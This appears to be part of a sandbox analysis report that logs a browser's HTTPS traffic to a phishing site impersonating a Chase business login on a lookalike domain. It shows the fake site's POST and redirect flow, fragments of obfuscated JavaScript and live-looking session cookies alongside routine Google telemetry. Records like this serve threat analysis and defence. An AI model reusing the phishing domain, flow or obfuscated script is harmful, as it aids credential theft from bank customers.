2024-12-20 00:16:58 UTC	11238	IN	Data Raw: 42 34 4d 54 56 69 4b 56 30 70 50 6a 30 77 65 44 4e 38 66 46 38 77 65 44 4d 30 4d 54 41 31 4d 56 74 66 4d 48 68 6b 59 6a 46 6d 4e 32 55 6f 4d 48 67 78 4d 7a 41 70 58 53 68 66 4d 48 67 78 5a 54 63 78 4e 57 46 62 58 7a 42 34 5a 47 49 78 5a 6a 64 6c 4b 44 42 34 4f 57 4d 70 58 53 6b 37 5a 57 78 7a 5a 58 74 70 5a 69 68 66 4d 48 68 6b 59 6a 46 6d 4e 32 55 6f 4d 48 67 78 4d 54 49 70 50 54 31 30 65 58 42 6c 62 32 59 67 58 7a 42 34 4d 57 55 33 4d 54 56 68 57 31 38 77 65 47 52 69 4d 57 59 33 5a 53 67 77 65 44 6c 6a 4b 56 30 70 65 33 5a 68 63 69 42 66 4d 48 67 31 4e 47 45 77 4d 54 67 39 58 7a 42 34 4d 57 55 33 4d 54 56 68 57 79 64 73 59 57 35 6e 64 57 46 6e 5a 58 4d 6e 58 54 74 66 4d 48 67 31 4e 47 45 77 4d 54 67 6d 4a 6c 38 77 65 44 4d 30 4d 54 41 31 4d 56 74 66 4d Data Ascii: B4MTViKV0pPj0weDN8fF8weDM0MTA1MVtfMHhkYjFmN2UoMHgxMzApXShfMHgxZTcxNWFbXzB4ZGIxZjdlKDB4OWMpXSk7ZWxzZXtpZihfMHhkYjFmN2UoMHgxMTIpPT10eXBlb2YgXzB4MWU3MTVhW18weGRiMWY3ZSgweDljKV0pe3ZhciBfMHg1NGEwMTg9XzB4MWU3MTVhWydsYW5ndWFnZXMnXTtfMHg1NGEwMTgmJl8weDM0MTA1MVtfM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49838	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:57 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:16:58 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:16:58 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:16:58 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:16:58 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49842	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:00 UTC	767	OUT	GET /favicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-12-20 00:17:00 UTC	1150	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:00 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: ppath=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: stp=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: uid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: wt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: uid_hash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: uurl=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: umsg=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: referer=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: utm=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:00 UTC	6	IN	Data Raw: 64 65 38 31 0d 0a Data Ascii: de81
2024-12-20 00:17:01 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><style type="text/css"> html, body { margin: 0;
2024-12-20 00:17:01 UTC	16384	IN	Data Raw: 67 78 65 33 5a 4a 55 71 76 58 47 34 51 32 48 6c 79 37 75 66 46 4f 79 6f 59 4e 47 33 62 6e 6e 61 73 47 41 6d 67 4c 77 38 79 2b 43 30 33 78 6a 35 76 68 48 56 6d 66 50 76 72 59 59 77 38 66 36 2f 66 51 70 75 4f 46 6a 6f 74 30 55 34 6e 74 31 7a 50 72 2b 75 2f 50 6e 6a 59 6a 66 2f 61 4d 6d 66 6e 41 5a 6f 49 58 2b 54 50 4b 43 34 71 38 54 41 74 42 75 73 39 73 62 68 78 47 32 51 4d 4e 6e 6f 5a 58 6e 68 36 32 61 6b 4f 39 68 54 53 47 4d 63 76 38 2f 73 2f 77 44 57 6a 77 56 69 78 30 35 39 6b 4e 44 65 49 72 6a 74 6e 72 58 5a 31 64 50 6e 50 61 4e 34 70 76 70 69 32 59 4e 6d 33 78 34 74 6c 62 33 38 79 66 4e 6e 50 57 45 67 30 44 54 57 34 63 75 47 72 30 61 45 51 38 2b 67 47 70 74 4c 6a 47 38 30 72 6a 36 45 50 72 4b 6c 52 6b 47 4c 4d 38 59 50 6a 30 4f 33 67 72 46 72 6f 52 36 Data Ascii: gxe3ZJUqvXG4Q2Hly7ufFOyoYNG3bnnasGAmgLw8y+C03xj5vhHVmfPvrYYw8f6/fQpuOFjot0U4nt1zPr+u/PnjYjf/aMmfnAZoIX+TPKC4q8TAtBus9sbhxG2QMNnoZXnh62akO9hTSGMcv8/s/wDWjwVix059kNDeIrjtnrXZ1dPnPaN4pvpi2YNm3x4tlb38yfNnPWEg0DTW4cuGr0aEQ8+gGptLjG80rj6EPrKlRkGLM8YPj0O3grFroR6
2024-12-20 00:17:01 UTC	16384	IN	Data Raw: 6b 2b 6f 39 76 4d 4e 6f 47 37 73 4b 35 76 72 37 2f 6b 48 6f 48 31 57 66 76 7a 2b 66 4f 54 70 2f 5a 78 37 69 39 30 65 54 79 75 47 62 6c 54 41 58 4e 78 6e 62 67 44 5a 6f 55 4a 5a 64 74 42 46 2b 5a 4d 49 63 71 6c 42 47 66 65 7a 43 69 61 42 34 73 44 5a 45 36 6c 71 36 55 6a 79 42 79 61 47 70 79 71 50 44 4e 64 6a 41 68 38 43 6c 50 6f 39 31 46 68 39 74 51 64 36 2f 55 58 36 78 48 58 31 71 32 75 72 64 39 50 64 30 35 46 7a 44 61 7a 47 54 42 44 6e 51 74 46 39 6f 36 59 67 51 4a 47 69 4a 51 58 62 47 51 63 43 46 61 41 71 33 4d 79 6f 6a 53 69 30 45 77 54 7a 55 49 64 70 35 68 44 55 79 76 6f 55 36 4d 67 30 4c 6b 7a 35 39 48 70 34 4d 64 31 6e 31 6b 45 6d 47 64 2b 50 37 6c 36 4e 6d 69 70 70 65 62 35 38 47 37 4a 71 62 6c 74 48 71 67 36 59 48 62 2b 72 63 59 6a 6b 6e 54 43 54 Data Ascii: k+o9vMNoG7sK5vr7/kHoH1Wfvz+fOTp/Zx7i90eTyuGblTAXNxnbgDZoUJZdtBF+ZMIcqlBGfezCiaB4sDZE6lq6UjyByaGpyqPDNdjAh8ClPo91Fh9tQd6/UX6xHX1q2urd9Pd05FzDazGTBDnQtF9o6YgQJGiJQXbGQcCFaAq3MyojSi0EwTzUIdp5hDUyvoU6Mg0Lkz59Hp4Md1n1kEmGd+P7l6Nmippeb58G7JqbltHqg6YHb+rcYjknTCT
2024-12-20 00:17:01 UTC	7809	IN	Data Raw: 58 69 43 63 30 78 59 4b 43 37 61 57 54 4f 69 51 52 37 6d 77 50 65 6f 62 46 2b 36 57 6e 78 39 37 62 71 64 30 48 2f 76 37 77 46 43 72 59 45 54 78 48 37 56 34 6a 70 5a 6a 4a 6d 76 76 6c 2b 4e 69 6b 43 56 32 79 37 4e 4c 53 4e 77 36 34 6d 59 79 4a 49 39 32 75 7a 48 67 4f 2b 4d 6a 61 6c 53 76 57 76 7a 58 6c 76 6b 37 74 72 69 6c 6e 34 75 4c 57 31 70 43 47 51 41 54 50 30 62 75 6e 54 42 2f 63 41 74 70 39 34 49 33 59 57 4f 75 45 79 52 33 7a 54 70 37 63 56 46 41 61 32 36 38 73 69 4f 7a 51 52 37 77 73 7a 50 4a 4d 65 4e 66 46 72 58 6a 70 72 55 6c 33 64 57 79 54 6f 4d 69 37 76 49 51 76 6f 75 63 6f 33 69 2b 70 44 6d 62 4e 58 77 59 71 64 55 48 31 35 4f 6d 54 32 37 66 70 54 51 6d 6c 70 66 47 48 79 2f 7a 4d 5a 74 6b 69 62 54 76 58 77 6c 6d 65 66 64 35 39 4b 2b 4e 57 76 50 Data Ascii: XiCc0xYKC7aWTOiQR7mwPeobF+6Wnx97bqd0H/v7wFCrYETxH7V4jpZjJmvvl+NikCV2y7NLSNw64mYyJI92uzHgO+MjalSvWvzXlvk7triln4uLW1pCGQATP0bunTB/cAtp94I3YWOuEyR3zTp7cVFAa268siOzQR7wszPJMeNfFrXjprUl3dWyToMi7vIQvouco3i+pDmbNXwYqdUH15OmT27fpTQmlpfGHy/zMZtkibTvXwlmefd59K+NWvP
2024-12-20 00:17:01 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:17:01 UTC	124	IN	Data Raw: 37 31 0d 0a 6f 6e 6c 69 6e 65 2e 61 63 63 65 73 73 2e 73 65 63 75 72 65 30 30 31 2e 63 68 61 73 65 2d 62 75 73 69 6e 65 73 73 2e 63 6f 6d 3c 62 72 20 2f 3e 3c 62 72 2f 3e 43 6c 69 65 6e 74 20 49 50 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 70 3e 3c 70 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 71online.access.secure001.chase-business.com<br /><br/>Client IP: 8.46.123.189</p><p></p></div></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49841	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:00 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:01 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:17:00 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:17:01 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:17:01 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49843	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:00 UTC	822	OUT	POST /secure/secure.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 78 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-12-20 00:17:00 UTC	78	OUT	Data Raw: 7b 22 72 69 22 3a 22 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 2c 22 69 62 22 3a 22 30 22 2c 22 72 65 22 3a 22 22 2c 22 72 66 22 3a 22 74 72 75 73 68 33 39 64 68 33 73 63 22 7d Data Ascii: {"ri":"5a4d22e2b2bbd8eeecd1e5b6b012d987","ib":"0","re":"","rf":"trush39dh3sc"}
2024-12-20 00:17:01 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:00 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49851	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:02 UTC	423	OUT	GET /favicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7
2024-12-20 00:17:03 UTC	903	IN	HTTP/1.1 303 See Other Date: Fri, 20 Dec 2024 00:17:03 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: stp=0; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: wt=0; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: uid_hash=bbecbe4eee67084dce4f604c98e6ce6e; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Location: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49849	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:03 UTC	980	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 695 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:03 UTC	695	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 31 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 32 35 30 2c 5b 5b 22 31 37 33 34 36 35 33 38 31 39 30 34 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,1,0,0,0]]],1250,[["1734653819045",null,null,null
2024-12-20 00:17:03 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:17:03 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:17:03 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:17:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49850	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

